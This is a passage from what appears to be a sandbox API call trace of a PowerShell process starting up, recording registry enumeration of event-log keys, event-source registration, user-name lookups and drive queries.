lpcchName=0x22d458, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x22d458, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.597] CoTaskMemFree (pv=0x124030) [0055.597] CoTaskMemFree (pv=0x0) [0055.597] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.597] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x7, lpName=0x124030, lpcchName=0x22d458, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x22d458, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.597] CoTaskMemFree (pv=0x124030) [0055.597] CoTaskMemFree (pv=0x0) [0055.597] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.597] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x8, lpName=0x124030, lpcchName=0x22d458, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x22d458, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.597] CoTaskMemFree (pv=0x124030) [0055.598] CoTaskMemFree (pv=0x0) [0055.598] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4b8 | out: phkResult=0x22d4b8*=0x384) returned 0x0 [0055.598] RegOpenKeyExW (in: hKey=0x384, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4b8 | out: phkResult=0x22d4b8*=0x0) returned 0x2 [0055.598] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4b8 | out: phkResult=0x22d4b8*=0x3a8) returned 0x0 [0055.598] RegOpenKeyExW (in: hKey=0x3a8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4b8 | out: phkResult=0x22d4b8*=0x0) returned 0x2 [0055.599] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4b8 | out: phkResult=0x22d4b8*=0x3ac) returned 0x0 [0055.599] RegOpenKeyExW (in: hKey=0x3ac, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4b8 | out: phkResult=0x22d4b8*=0x0) returned 0x2 [0055.599] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4b8 | out: phkResult=0x22d4b8*=0x3b0) returned 0x0 [0055.599] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4b8 | out: phkResult=0x22d4b8*=0x0) returned 0x2 [0055.600] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4b8 | out: phkResult=0x22d4b8*=0x3b4) returned 0x0 [0055.600] RegOpenKeyExW (in: hKey=0x3b4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4b8 | out: phkResult=0x22d4b8*=0x0) returned 0x2 [0055.600] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4b8 | out: phkResult=0x22d4b8*=0x3b8) returned 0x0 [0055.600] RegOpenKeyExW (in: hKey=0x3b8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4b8 | out: phkResult=0x22d4b8*=0x0) returned 0x2 [0055.600] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4b8 | out: phkResult=0x22d4b8*=0x3bc) returned 0x0 [0055.600] RegOpenKeyExW (in: hKey=0x3bc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4b8 | out: phkResult=0x22d4b8*=0x0) returned 0x2 [0055.600] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4b8 | out: phkResult=0x22d4b8*=0x3c0) returned 0x0 [0055.600] RegOpenKeyExW (in: hKey=0x3c0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4b8 | out: phkResult=0x22d4b8*=0x0) returned 0x2 [0055.600] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4b8 | out: phkResult=0x22d4b8*=0x3c4) returned 0x0 [0055.601] RegOpenKeyExW (in: hKey=0x3c4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4b8 | out: phkResult=0x22d4b8*=0x3c8) returned 0x0 [0055.601] RegCloseKey (hKey=0x3c8) returned 0x0 [0055.601] RegCloseKey (hKey=0x3a4) returned 0x0 [0055.601] RegCloseKey (hKey=0x3c4) returned 0x0 [0055.604] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x1b8d0008 [0055.606] ReportEventW (hEventLog=0x1b8d0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3bdc680*="WSMan", lpRawData=0x3bdc3f0) returned 1 [0055.607] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0055.607] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.607] CoTaskMemFree (pv=0x168700) [0055.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22cf40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22cf40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.609] CoTaskMemAlloc (cb=0x804) returned 0x1b796030 [0055.609] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b796030, nSize=0x22d748 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x22d748) returned 0x1 [0055.609] CoTaskMemFree (pv=0x1b796030) [0055.609] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.609] GetUserNameW (in: lpBuffer=0x124030, pcbBuffer=0x22d788 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x22d788) returned 1 [0055.609] CoTaskMemFree (pv=0x124030) [0055.610] ReportEventW (hEventLog=0x1b8d0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3be1bb8*="Alias", lpRawData=0x3be1948) returned 1 [0055.611] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0055.611] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.611] CoTaskMemFree (pv=0x168700) [0055.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22cf40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22cf40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.612] CoTaskMemAlloc (cb=0x804) returned 0x1b796030 [0055.612] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b796030, nSize=0x22d748 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x22d748) returned 0x1 [0055.612] CoTaskMemFree (pv=0x1b796030) [0055.612] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.612] GetUserNameW (in: lpBuffer=0x124030, pcbBuffer=0x22d788 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x22d788) returned 1 [0055.613] CoTaskMemFree (pv=0x124030) [0055.613] ReportEventW (hEventLog=0x1b8d0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3be71b0*="Environment", lpRawData=0x3be6f40) returned 1 [0055.614] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0055.614] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.614] CoTaskMemFree (pv=0x168700) [0055.614] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0055.614] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0055.614] CoTaskMemFree (pv=0x168700) [0055.614] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0055.614] GetEnvironmentVariableW (in: lpName="HOMEPATH", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1b [0055.614] CoTaskMemFree (pv=0x168700) [0055.615] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x22d2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0055.615] SetErrorMode (uMode=0x1) returned 0x1 [0055.615] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x22d500 | out: lpFileInformation=0x22d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0055.615] SetErrorMode (uMode=0x1) returned 0x1 [0055.616] GetLogicalDrives () returned 0x4 [0055.617] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x22d060, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0055.618] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0055.619] SetErrorMode (uMode=0x1) returned 0x1 [0055.620] CoTaskMemAlloc (cb=0x68) returned 0x1b786040 [0055.620] CoTaskMemAlloc (cb=0x68) returned 0x1b786200 [0055.620] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x1b786040, nVolumeNameSize=0x32, lpVolumeSerialNumber=0x22d4d0, lpMaximumComponentLength=0x22d4cc, lpFileSystemFlags=0x22d4c8, lpFileSystemNameBuffer=0x1b786200, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x22d4d0*=0x9c354b42, lpMaximumComponentLength=0x22d4cc*=0xff, lpFileSystemFlags=0x22d4c8*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0055.620] CoTaskMemFree (pv=0x1b786040) [0055.620] CoTaskMemFree (pv=0x1b786200) [0055.620] SetErrorMode (uMode=0x1) returned 0x1 [0055.620] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0055.621] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x22d210, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0055.621] SetErrorMode (uMode=0x1) returned 0x1 [0055.621] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x22d470 | out: lpFileInformation=0x22d470*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0055.621] SetErrorMode (uMode=0x1) returned 0x1 [0055.621] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x22d210, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0055.622] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x22d0c0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0055.622] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0055.622] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x22cff0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0055.622] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0055.623] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x22d040, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0055.623] SetErrorMode (uMode=0x1) returned 0x1 [0055.624] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x22d2a0 | out: lpFileInformation=0x22d2a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0055.624] SetErrorMode (uMode=0x1) returned 0x1 [0055.624] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x22d040, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0055.624] SetErrorMode (uMode=0x1) returned 0x1 [0055.624] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x22d2a0 | out: lpFileInformation=0x22d2a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0055.624] SetErrorMode (uMode=0x1) returned 0x1 [0055.624] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x22d0e0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0055.625] SetErrorMode (uMode=0x1) returned 0x1 [0055.625] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x22d340 | out: lpFileInformation=0x22d340*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0055.625] SetErrorMode (uMode=0x1) returned 0x1 [0055.625] CoTaskMemAlloc (cb=0x804) returned 0x1b796030 [0055.625] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b796030, nSize=0x22d748 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x22d748) returned 0x1 [0055.625] CoTaskMemFree (pv=0x1b796030) [0055.626] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.626] GetUserNameW (in: lpBuffer=0x124030, pcbBuffer=0x22d788 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x22d788) returned 1 [0055.626] CoTaskMemFree (pv=0x124030) [0055.627] ReportEventW (hEventLog=0x1b8d0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3bee2a0*="FileSystem", lpRawData=0x3bee030) returned 1 [0055.628] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0055.628] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.628] CoTaskMemFree (pv=0x168700) [0055.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d020, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22cf70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22cf70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.631] CoTaskMemAlloc (cb=0x804) returned 0x1b796030 [0055.631] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b796030, nSize=0x22d748 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x22d748) returned 0x1 [0055.632] CoTaskMemFree (pv=0x1b796030) [0055.632] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.632] GetUserNameW (in: lpBuffer=0x124030, pcbBuffer=0x22d788 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x22d788) returned 1 [0055.632] CoTaskMemFree (pv=0x124030) [0055.633] ReportEventW (hEventLog=0x1b8d0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3bf3ae0*="Function", lpRawData=0x3bf3870) returned 1 [0055.637] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0055.637] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.637] CoTaskMemFree (pv=0x168700) [0055.651] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.651] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22cf40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.651] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22cf40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.652] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22cf40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.797] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.797] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22cf40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.798] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22cf40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.800] CoTaskMemAlloc (cb=0x804) returned 0x1b796030 [0055.800] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b796030, nSize=0x22d748 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x22d748) returned 0x1 [0055.800] CoTaskMemFree (pv=0x1b796030) [0055.800] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.800] GetUserNameW (in: lpBuffer=0x124030, pcbBuffer=0x22d788 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x22d788) returned 1 [0055.801] CoTaskMemFree (pv=0x124030) [0055.801] ReportEventW (hEventLog=0x1b8d0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x31d8a08*="Registry", lpRawData=0x31d8798) returned 1 [0055.804] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.804] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22cf40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.804] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22cf40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.804] CoTaskMemAlloc (cb=0x804) returned 0x1b796030 [0055.804] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b796030, nSize=0x22d748 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x22d748) returned 0x1 [0055.805] CoTaskMemFree (pv=0x1b796030) [0055.805] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.805] GetUserNameW (in: lpBuffer=0x124030, pcbBuffer=0x22d788 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x22d788) returned 1 [0055.806] CoTaskMemFree (pv=0x124030) [0055.806] ReportEventW (hEventLog=0x1b8d0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x31dde20*="Variable", lpRawData=0x31ddbb0) returned 1 [0055.808] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0055.808] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.808] CoTaskMemFree (pv=0x168700) [0055.810] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0055.811] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.811] CoTaskMemFree (pv=0x168700) [0055.813] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x22cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0055.813] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x22cf40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0055.813] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x22cf40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0055.813] GetFullPathNameW (in: 